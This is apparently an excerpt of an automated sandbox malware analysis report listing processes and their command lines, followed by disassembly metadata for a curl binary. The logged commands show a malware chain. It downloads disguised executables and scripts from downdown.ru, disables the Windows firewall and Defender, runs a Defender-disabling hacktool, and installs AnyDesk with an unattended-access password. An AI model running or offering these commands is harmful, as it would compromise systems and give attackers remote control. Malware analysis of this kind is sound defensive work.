Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	09:53:37
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	09:53:39
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	11:19:40
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	11:19:42
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	11:19:43
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	11:19:45
Start date:	08/01/2025
Path:	C:\Intel\driver.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Imagebase:	0x400000
File size:	300'032 bytes
MD5 hash:	29086D9247FDF40452563C11B3DCA394
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	11:19:46
Start date:	08/01/2025
Path:	C:\Intel\Trays\Trays.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\Trays\Trays.exe" -tray
Imagebase:	0x400000
File size:	2'019'840 bytes
MD5 hash:	90D208B856DEA18596D57FFB1DD3A867
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	60
Start time:	11:19:47
Start date:	08/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe --install C:\Intel\AnyDesk
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	11:19:47
Start date:	08/01/2025
Path:	C:\Intel\Trays\4t-min64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Imagebase:	0x400000
File size:	275'968 bytes
MD5 hash:	7BC3AEEDC18717D796F1C7FF8DBF0C17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	11:19:49
Start date:	08/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\svchost.exe" --local-service
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	11:19:49
Start date:	08/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\svchost.exe" --local-control
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	11:19:54
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --service
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	11:19:57
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --control
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	11:19:57
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --new-install
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	11:19:59
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh advfirewall set allprofiles state off
Imagebase:	0x1770000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	11:19:59
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	sc stop WinDefend
Imagebase:	0x150000
File size:	61'440 bytes
MD5 hash:	D9D7684B8431A0D10D0E76FE9F5FFEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	11:19:59
Start date:	08/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Imagebase:	0x920000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	11:20:01
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	72
Start time:	11:20:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	73
Start time:	11:20:01
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	11:20:01
Start date:	08/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	AnyDesk.exe --set-password _unattended_access
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	11:20:05
Start date:	08/01/2025
Path:	C:\Intel\dc.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\dc.exe /D
Imagebase:	0x400000
File size:	831'888 bytes
MD5 hash:	139464919440E93E49C80CC890B90585
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DefenderControlHacktool, Description: Yara detected Defender Control Hacktool, Source: 0000004B.00000003.1745385956.0000000002E6B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DefenderControlHacktool, Description: Yara detected Defender Control Hacktool, Source: 0000004B.00000003.1745234234.0000000002E64000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	84

Executed Functions

Function 0093F690 Relevance: 21.3, APIs: 14, Instructions: 290
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726,00000000), ref: 0093F6E9
Sleep.KERNEL32(?,00000000), ref: 0093F708
GetTickCount64.KERNEL32 ref: 0093F72D
__aulldiv.LIBCMT ref: 0093F73E
select.WS2_32(?,?,?,?,?), ref: 0093F8E2
WSAGetLastError.WS2_32(?,000003E8,00000000), ref: 0093F8F1
GetTickCount64.KERNEL32 ref: 0093F924
__aulldiv.LIBCMT ref: 0093F935
__WSAFDIsSet.WS2_32(00000000,?), ref: 0093F9AB
__WSAFDIsSet.WS2_32(00000000,?), ref: 0093F9C3
__WSAFDIsSet.WS2_32(00000000,?), ref: 0093F9D7
__WSAFDIsSet.WS2_32(00000000,?), ref: 0093F9E9
__WSAFDIsSet.WS2_32(?,00000000), ref: 0093FA03
__WSAFDIsSet.WS2_32(?,?), ref: 0093FA15

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick__aulldiv$Sleepselect
String ID:
API String ID: 3423863394-0
Opcode ID: 0651f88927cf03284af8a18559a7ec90fc37a59815bac2cbee4dc772a09eddf5
Instruction ID: e7deeb7dfb656b9fc9eb00edd9b7c8891a571ab4cbacc31a457a27d3c440bd5a
Opcode Fuzzy Hash: 0651f88927cf03284af8a18559a7ec90fc37a59815bac2cbee4dc772a09eddf5
Instruction Fuzzy Hash: CAA18371A043419BDB28DF28D8A476EB6E9EF84364F514A3EF45EC6290D730DD418F42

Function 0093D9C0 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 0093DA18
__aulldiv.LIBCMT ref: 0093DA29

Strings

Connection failed, xrefs: 0093DBD0
connect to %s port %ld failed: %s, xrefs: 0093DC69
After %ldms connect time, move on!, xrefs: 0093DB41
Connection time-out, xrefs: 0093DE17
Failed to connect to %s port %ld: %s, xrefs: 0093DDF0

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: After %ldms connect time, move on!$Connection failed$Connection time-out$Failed to connect to %s port %ld: %s$connect to %s port %ld failed: %s
API String ID: 1362846788-885759404
Opcode ID: 3a0fa81ace7ef14c19ec9814fbf06b6a2c08c28a6153d53670aa0cbe968078b1
Instruction ID: 96564a4944980ca075d68adeb6dba6ffe2b3294003a367c1a4612f5292b95c69
Opcode Fuzzy Hash: 3a0fa81ace7ef14c19ec9814fbf06b6a2c08c28a6153d53670aa0cbe968078b1
Instruction Fuzzy Hash: 9FC1C1716047019FC708DF28E9A5B6EB7E9BFC4314F04462DF85A8B291DB70A915CF92

Function 00941CE0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 79
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00941D11
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 00941D3F
VerSetConditionMask.KERNEL32(00000000,00000000,00000008,00000001), ref: 00941D4D
VerifyVersionInfoA.KERNEL32(?,00000002,00000000), ref: 00941D64
VerifyVersionInfoA.KERNEL32(?,00000008,00000000,?), ref: 00941D76
LoadLibraryA.KERNELBASE(secur32.dll), ref: 00941D88
GetProcAddress.KERNELBASE(00000000,InitSecurityInterfaceA), ref: 00941DA4

Strings

secur32.dll, xrefs: 00941D83
security.dll, xrefs: 00941D7C
InitSecurityInterfaceA, xrefs: 00941D9E

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ConditionInfoMaskVerifyVersion$AddressLibraryLoadProc_memset
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 2363595094-3788156360
Opcode ID: 09294a40269a7fe66f0d9a63acc0b48f887b2630bd96565ae57b313a366796ec
Instruction ID: 7f7dc970554d12cdbfc20a1c98278623dde4138c44ae45525f5670eeb6ed46eb
Opcode Fuzzy Hash: 09294a40269a7fe66f0d9a63acc0b48f887b2630bd96565ae57b313a366796ec
Instruction Fuzzy Hash: 0921D770B40305BBE720DB659C06F677ADCFB44B40F014826B545EA1C1EAB4D9498B92

Function 0093FA40 Relevance: 16.8, APIs: 11, Instructions: 283
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 0093FAA9
__aulldiv.LIBCMT ref: 0093FABA
WSASetLastError.WS2_32(00002726,00000000,00000000), ref: 0093FC11
select.WS2_32(?,?,?,?,?), ref: 0093FCA5
WSAGetLastError.WS2_32(?,000003E8,00000000), ref: 0093FCB4
GetTickCount64.KERNEL32 ref: 0093FCF5
__aulldiv.LIBCMT ref: 0093FD06
__WSAFDIsSet.WS2_32(?,?), ref: 0093FD99
__WSAFDIsSet.WS2_32(?,?), ref: 0093FDB2
__WSAFDIsSet.WS2_32(?,?), ref: 0093FDC7

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick__aulldiv$select
String ID:
API String ID: 1709477730-0
Opcode ID: 04323ada7b0531e338eaae8be9d56be748beb061497386efdb2f0d1e418c571d
Instruction ID: 26ef72465f220cc2f227ef2bf074a92cd4a3fbe2be08b991395b098ba4f5c235
Opcode Fuzzy Hash: 04323ada7b0531e338eaae8be9d56be748beb061497386efdb2f0d1e418c571d
Instruction Fuzzy Hash: A8A19FB1A083058BD729DF28D9A466EB6E9EF88710F544A3DF899C7290DB34DC41CF42

Function 00933D70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,?,00000000), ref: 00933D8D
WSAGetLastError.WS2_32 ref: 00933DA4

Strings

3', xrefs: 00933DAC
Recv failure: %s, xrefs: 00933DCB

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: ErrorLastrecv
String ID: 3'$Recv failure: %s
API String ID: 2514157807-3205223812
Opcode ID: cbe4d4086c14c79c1e4d35edd52899735899e9036da848c6162fad1c1bbfe2c9
Instruction ID: b8c541d01c6414dbc304f522928cefa6faf465e78e3cfea62bb0fa409aaa42b6
Opcode Fuzzy Hash: cbe4d4086c14c79c1e4d35edd52899735899e9036da848c6162fad1c1bbfe2c9
Instruction Fuzzy Hash: 2F01D172300204AFCB105FA9EC44B9ABBE8FBC8722F108175FA1C97291C7369D209F40

Function 00A37185 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNELBASE(?,20001004,?,00A271A6,?,00A271A6,?,20001004,?,00000002,?,00000004,?,00000000), ref: 00A371A1
GetLocaleInfoW.KERNEL32(00000000,20001004,?,00A271A6,?,00A271A6,?,20001004,?,00000002,?,00000004,?,00000000), ref: 00A371AC

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b6b1877e12b7e7affd87111de42f159452c6d8344b1ebe5b916e2059c10620cd
Instruction ID: 99e7f8b02d801b535221d90ead924b8e5ff37076be4e1ebfd721768b65e07bb3
Opcode Fuzzy Hash: b6b1877e12b7e7affd87111de42f159452c6d8344b1ebe5b916e2059c10620cd
Instruction Fuzzy Hash: 6DD0677204410DFF9F12DFE0FD49C6A3B7DFB48364B444505F91946131DA76A5319B61

Function 00928EBB Relevance: 54.7, APIs: 10, Strings: 21, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 009290A2
_free.LIBCMT ref: 009290CD
_free.LIBCMT ref: 009290DE
__close.LIBCMT ref: 009290F1
_free.LIBCMT ref: 0092B3E3

Strings

--_curl_--, xrefs: 00929466
%s%s, xrefs: 0092946B
://, xrefs: 00929489
http://, xrefs: 009293C7
<stdout>, xrefs: 00929436, 00929442
Remote file name has no length!, xrefs: 00928F9D
Can't open '%s'!, xrefs: 009291D8
?, xrefs: 00929497
-N, xrefs: 009293CE
Can't open '%s'!, xrefs: 009292BB
(%d) Failed writing body, xrefs: 0092907E
%s%c%s, xrefs: 009294D6
[%lu/%lu]: %s --> %s, xrefs: 0092944B
